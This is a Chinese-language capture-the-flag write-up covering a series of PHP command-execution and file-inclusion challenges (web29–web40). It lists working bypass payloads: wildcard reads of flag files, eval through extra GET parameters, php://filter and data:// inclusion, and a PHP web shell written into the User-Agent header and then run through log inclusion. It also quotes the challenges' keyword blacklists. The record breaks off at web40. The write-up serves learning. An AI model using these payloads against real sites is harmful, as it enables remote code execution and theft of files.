学点web
信息收集
命令执行
一些基本提取文件的操作:cat、nl、tac、highlight_file()、vim、vi
匹配:*多个字符匹配,?单个字符匹配
转义符:^、””、’’
执行函数echo()、system()、passthru() 、exec()、 shell_exec()、popen()、proc_open()、pcntl_exec()
web29
只过滤了flag
1 | c=system("nl fla*");//匹配 |
web30
过滤了flag、system、php
1 | c=echo exec('nl fla?????'); |
和上一问差不多
web31
过滤了很多,”/flag|system|php|cat|sort|shell|.| |\’/i”(/i大小写不敏感)
1 | c=eval($_GET[1]);&1=system('nl flag.php');//没过滤eval,用1传参 |
查文件路径的语法:
首先print_r(scandir(dirname(__FILE__)));
查看当前目录下文件
然后找到flag.phpprint_r(next(array_reverse(scandir(dirname(__FILE__)))));
之后高亮显示即可c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
和上面的差不多
web32
过滤的更多了:(“/flag|system|php|cat|sort|shell|.| |\’|`|echo|\;|(/i”
1 | c=$nice=include$_GET["url"] &url=php://filter/read=convert.base64-encode/resource=flag.php//这个$nice=暂且不知道是干啥的,去掉也能执行 |
web33
比32多过滤了个双引号,所以要把“url”改成1:”/flag|system|php|cat|sort|shell|.| |\’|`|echo|\;|(|\”/i”
1 | c=include$_GET[1] &1=php://filter/read=convert.base64-encode/resource=flag.php |
web34
多了个’:’:”/flag|system|php|cat|sort|shell|.| |\’|`|echo|\;|(|\:|\”/i”
1 | c=include$_GET[1] &1=php://filter/read=convert.base64-encode/resource=flag.php |
web35
多了小于和等于:”/flag|system|php|cat|sort|shell|.| |\’|`|echo|\;|(|\:|\”|\<|\=/i”
1 | c=include$_GET[1] &1=php://filter/read=convert.base64-encode/resource=flag.php |
web36
多了数字:”/flag|system|php|cat|sort|shell|.| |\’|`|echo|\;|(|\:|\”|\<|\=|\/|[0-9]/i”
1 | c=include$_GET[a] &a=php://filter/read=convert.base64-encode/resource=flag.php |
web37
变成了文件包含
1 | c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== |
UA头写马执行日志操作:
先用c=/var/log/nginx/access.log发现能看日志
User-Agent头写马:
User-Agent: <?php eval($_POST[1]);?>
再看日志
然后就可以命令执行了:
1=system(“nl flag.php”);
web38
“/flag|php|file/i”
1 | c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== |
和上一题差不多
web39
用c=data://text/plain,<?=phpinfo();?>
测试后缀有无影响,发现无:
.php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用。data协议后有个?>,已经闭合前面的php代码,所以后面的php拼接,不会影响php代码的执行
1 | c=data://text/palin, system("nl fla*"); |
web40
“/[0-9]|~|`|\@|#|\$|\%|\^|\&|*|\(|\)|-|\=|+|{|[|]|}|\:|\’|\”|\,|\<|.|>|\/|\?|\\/i”